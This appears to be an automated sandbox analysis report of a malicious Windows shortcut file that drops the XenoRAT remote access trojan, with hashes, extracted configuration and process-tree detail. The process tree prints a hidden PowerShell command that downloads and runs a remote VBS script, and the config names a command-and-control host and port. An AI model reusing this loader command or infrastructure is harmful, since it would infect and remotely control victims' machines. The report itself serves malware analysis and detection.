Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
10-12-2024 02:46
Static task
static1
Behavioral task
behavioral1
Sample
64e8a709f1216e3424fcb496c63f54b8a43d3e51948bb807634cf74be30a2428.lnk
Resource
win7-20240729-en
General
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Target
64e8a709f1216e3424fcb496c63f54b8a43d3e51948bb807634cf74be30a2428.lnk
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Size
2KB
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MD5
d860a0bd0c878a590742ccb10f67483b
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SHA1
f939c3a41ba4b0910e56a7e89923398525dd0f68
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SHA256
64e8a709f1216e3424fcb496c63f54b8a43d3e51948bb807634cf74be30a2428
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SHA512
9b6e711503dea81f9b90db103471e3e67708b43065cdbc347726bbd0fd86ade3ff188b017185b7e026cdcabbfe2de75fac3a4fed31a84275a83874000f09c767
Malware Config
Extracted
https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs
Extracted
xenorat
dns.stipamana.com
Xeno_rat_nd8912d
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delay
12000
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install_path
appdata
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port
4567
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startup_name
mrec
Signatures
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Detect XenoRat Payload 1 IoCs
resource yara_rule behavioral2/memory/3160-102-0x0000000000400000-0x0000000000412000-memory.dmp family_xenorat -
Xenorat family
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Blocklisted process makes network request 2 IoCs
flow pid Process 4 2360 powershell.exe 7 4360 WScript.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2360 powershell.exe -
Downloads MZ/PE file
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Office macro that triggers on suspicious action 1 IoCs
Office document macro which triggers in special circumstances - often malicious.
resource yara_rule behavioral2/files/0x000b000000023b7b-36.dat office_macro_on_action -
resource behavioral2/files/0x000b000000023b7b-36.dat -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation KKSTV.exe -
Executes dropped EXE 8 IoCs
pid Process 4460 KKSTV.exe 3160 KKSTV.exe 5096 KKSTV.exe 4072 KKSTV.exe 1860 KKSTV.exe 2464 KKSTV.exe 2076 KKSTV.exe 3056 KKSTV.exe -
Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 4460 set thread context of 3160 4460 KKSTV.exe 92 PID 4460 set thread context of 5096 4460 KKSTV.exe 93 PID 4460 set thread context of 4072 4460 KKSTV.exe 94 PID 1860 set thread context of 2464 1860 KKSTV.exe 96 PID 1860 set thread context of 2076 1860 KKSTV.exe 97 PID 1860 set thread context of 3056 1860 KKSTV.exe 99 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 2700 2464 WerFault.exe 96 -
System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language KKSTV.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language KKSTV.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language KKSTV.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language KKSTV.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language KKSTV.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language KKSTV.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language KKSTV.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5004 schtasks.exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 7 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3000 WINWORD.EXE 3000 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2360 powershell.exe 2360 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2360 powershell.exe Token: SeDebugPrivilege 4460 KKSTV.exe Token: SeDebugPrivilege 1860 KKSTV.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 3000 WINWORD.EXE 3000 WINWORD.EXE 3000 WINWORD.EXE 3000 WINWORD.EXE 3000 WINWORD.EXE 3000 WINWORD.EXE 3000 WINWORD.EXE -
Suspicious use of WriteProcessMemory 61 IoCs
description pid Process procid_target PID 5088 wrote to memory of 2360 5088 cmd.exe 83 PID 5088 wrote to memory of 2360 5088 cmd.exe 83 PID 2360 wrote to memory of 4360 2360 powershell.exe 84 PID 2360 wrote to memory of 4360 2360 powershell.exe 84 PID 3000 wrote to memory of 4460 3000 WINWORD.EXE 90 PID 3000 wrote to memory of 4460 3000 WINWORD.EXE 90 PID 3000 wrote to memory of 4460 3000 WINWORD.EXE 90 PID 4460 wrote to memory of 3160 4460 KKSTV.exe 92 PID 4460 wrote to memory of 3160 4460 KKSTV.exe 92 PID 4460 wrote to memory of 3160 4460 KKSTV.exe 92 PID 4460 wrote to memory of 3160 4460 KKSTV.exe 92 PID 4460 wrote to memory of 3160 4460 KKSTV.exe 92 PID 4460 wrote to memory of 3160 4460 KKSTV.exe 92 PID 4460 wrote to memory of 3160 4460 KKSTV.exe 92 PID 4460 wrote to memory of 3160 4460 KKSTV.exe 92 PID 4460 wrote to memory of 5096 4460 KKSTV.exe 93 PID 4460 wrote to memory of 5096 4460 KKSTV.exe 93 PID 4460 wrote to memory of 5096 4460 KKSTV.exe 93 PID 4460 wrote to memory of 5096 4460 KKSTV.exe 93 PID 4460 wrote to memory of 5096 4460 KKSTV.exe 93 PID 4460 wrote to memory of 5096 4460 KKSTV.exe 93 PID 4460 wrote to memory of 5096 4460 KKSTV.exe 93 PID 4460 wrote to memory of 5096 4460 KKSTV.exe 93 PID 4460 wrote to memory of 4072 4460 KKSTV.exe 94 PID 4460 wrote to memory of 4072 4460 KKSTV.exe 94 PID 4460 wrote to memory of 4072 4460 KKSTV.exe 94 PID 4460 wrote to memory of 4072 4460 KKSTV.exe 94 PID 4460 wrote to memory of 4072 4460 KKSTV.exe 94 PID 4460 wrote to memory of 4072 4460 KKSTV.exe 94 PID 4460 wrote to memory of 4072 4460 KKSTV.exe 94 PID 4460 wrote to memory of 4072 4460 KKSTV.exe 94 PID 3160 wrote to memory of 1860 3160 KKSTV.exe 95 PID 3160 wrote to memory of 1860 3160 KKSTV.exe 95 PID 3160 wrote to memory of 1860 3160 KKSTV.exe 95 PID 1860 wrote to memory of 2464 1860 KKSTV.exe 96 PID 1860 wrote to memory of 2464 1860 KKSTV.exe 96 PID 1860 wrote to memory of 2464 1860 KKSTV.exe 96 PID 1860 wrote to memory of 2464 1860 KKSTV.exe 96 PID 1860 wrote to memory of 2464 1860 KKSTV.exe 96 PID 1860 wrote to memory of 2464 1860 KKSTV.exe 96 PID 1860 wrote to memory of 2464 1860 KKSTV.exe 96 PID 1860 wrote to memory of 2464 1860 KKSTV.exe 96 PID 1860 wrote to memory of 2076 1860 KKSTV.exe 97 PID 1860 wrote to memory of 2076 1860 KKSTV.exe 97 PID 1860 wrote to memory of 2076 1860 KKSTV.exe 97 PID 1860 wrote to memory of 2076 1860 KKSTV.exe 97 PID 1860 wrote to memory of 2076 1860 KKSTV.exe 97 PID 1860 wrote to memory of 2076 1860 KKSTV.exe 97 PID 1860 wrote to memory of 2076 1860 KKSTV.exe 97 PID 1860 wrote to memory of 2076 1860 KKSTV.exe 97 PID 1860 wrote to memory of 3056 1860 KKSTV.exe 99 PID 1860 wrote to memory of 3056 1860 KKSTV.exe 99 PID 1860 wrote to memory of 3056 1860 KKSTV.exe 99 PID 1860 wrote to memory of 3056 1860 KKSTV.exe 99 PID 1860 wrote to memory of 3056 1860 KKSTV.exe 99 PID 1860 wrote to memory of 3056 1860 KKSTV.exe 99 PID 1860 wrote to memory of 3056 1860 KKSTV.exe 99 PID 1860 wrote to memory of 3056 1860 KKSTV.exe 99 PID 4072 wrote to memory of 5004 4072 KKSTV.exe 108 PID 4072 wrote to memory of 5004 4072 KKSTV.exe 108 PID 4072 wrote to memory of 5004 4072 KKSTV.exe 108
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\64e8a709f1216e3424fcb496c63f54b8a43d3e51948bb807634cf74be30a2428.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5088 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass ntjfmdjtginrdfbgfdhozhdfbofdjqop -WindowStyle -Command hiddeN consent.exe;(new-object System.Net.WebClient).DownloadFile('https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs','pafdfgz.vbs');./'pafdfgz.vbs';(get-item 'pafdfgz.vbs').Attributes += 'Hidden';2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2360 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs"3⤵
- Blocklisted process makes network request
PID:4360
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3000 -
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4460 -
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3160 -
C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe"C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1860 -
C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exeC:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe5⤵
- Executes dropped EXE
PID:2464 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2464 -s 806⤵
- Program crash
PID:2700
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C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exeC:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2076
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C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exeC:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3056
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5096
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4072 -
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /Create /TN "mrec" /XML "C:\Users\Admin\AppData\Local\Temp\tmpD8BC.tmp" /F4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:5004
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2464 -ip 24641⤵PID:3608
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
706B
MD5d95c58e609838928f0f49837cab7dfd2
SHA155e7139a1e3899195b92ed8771d1ca2c7d53c916
SHA2560407c814aef0d62aec7fd39b7c2f614746f0d8ff41f8ef957736f520f14b0339
SHA512405310b29a833604c6627063bfdcf055a197e01f633ef21da238f1a6415a02e21315d689b4a6669db23e82152bed6f3492afb60963e6b2a0e9bb2ac09a480b5d
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Filesize
263KB
MD5ff0e07eff1333cdf9fc2523d323dd654
SHA177a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
SHA2563f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
SHA512b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
10KB
MD5087bcef76143b81090deef4ee4679995
SHA16ebd4fd212d0583157ae03bb0eb5841c53e281fc
SHA25687334eb3f39cffdfeed453f67a7c338fe378b75c49946451ca1a0e4e151bba00
SHA512b2f93705760d4d1cf5fe0ac354100916d16b6c4fd62117254238a600aabe6257fc791f1ce498bd2d0cfdd47e19f304dc5a68a06b7958658f34859afaa582ed4d
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Filesize
1KB
MD5276d8f1b7e05feed45e456295f52e4da
SHA1902d0fcb164b5ad255185b04558618b51b824cf8
SHA25606483d2faa061e06693dba1bb7f645fee992f94ffb713e6ebf30ae50ab288b5c
SHA512893ec4b4358250389b6c7764145ef0aca8de5429ba983534d2205796296f747fcb20567ec99a6b9ccaef3903d795986b32572a7e6e5d9cb3e08b876c0f01db95
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Filesize
195KB
MD513326ed69d36aaa385c5eba9fa6e5cc2
SHA166946fa69204b91787c7eabb91c1fd8452b1cc24
SHA2563106e90067456404a9f3e768ce3b60de6ae91fa2be664255ad6fe86c3f87e67d
SHA51239e5df1db48b1afe1c2bf7f2b8ccfca38b0fd4c49dd04884299fcc8adc633e6171a8756bf9eca65ac37b59ce6ef4a3fb3c761848a94c04d9afe725a53d008edd
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Filesize
173KB
MD594a7e3859c2e4238421cdfe73d49603c
SHA103f03c5b5d8cf362aa52b9e793e7be398d779c21
SHA256639135eb69333aba7ecb762072d8bef1d2db83e54edbe627dd223039142b8c91
SHA51274048463606f7017bd8bd3c92773edde5a406247c5ea437b8ee580a3d9e65eb755aa44de466fc2aabef8b9a67c40163afeb3df9bc9fb35f8afe20814d5de85b5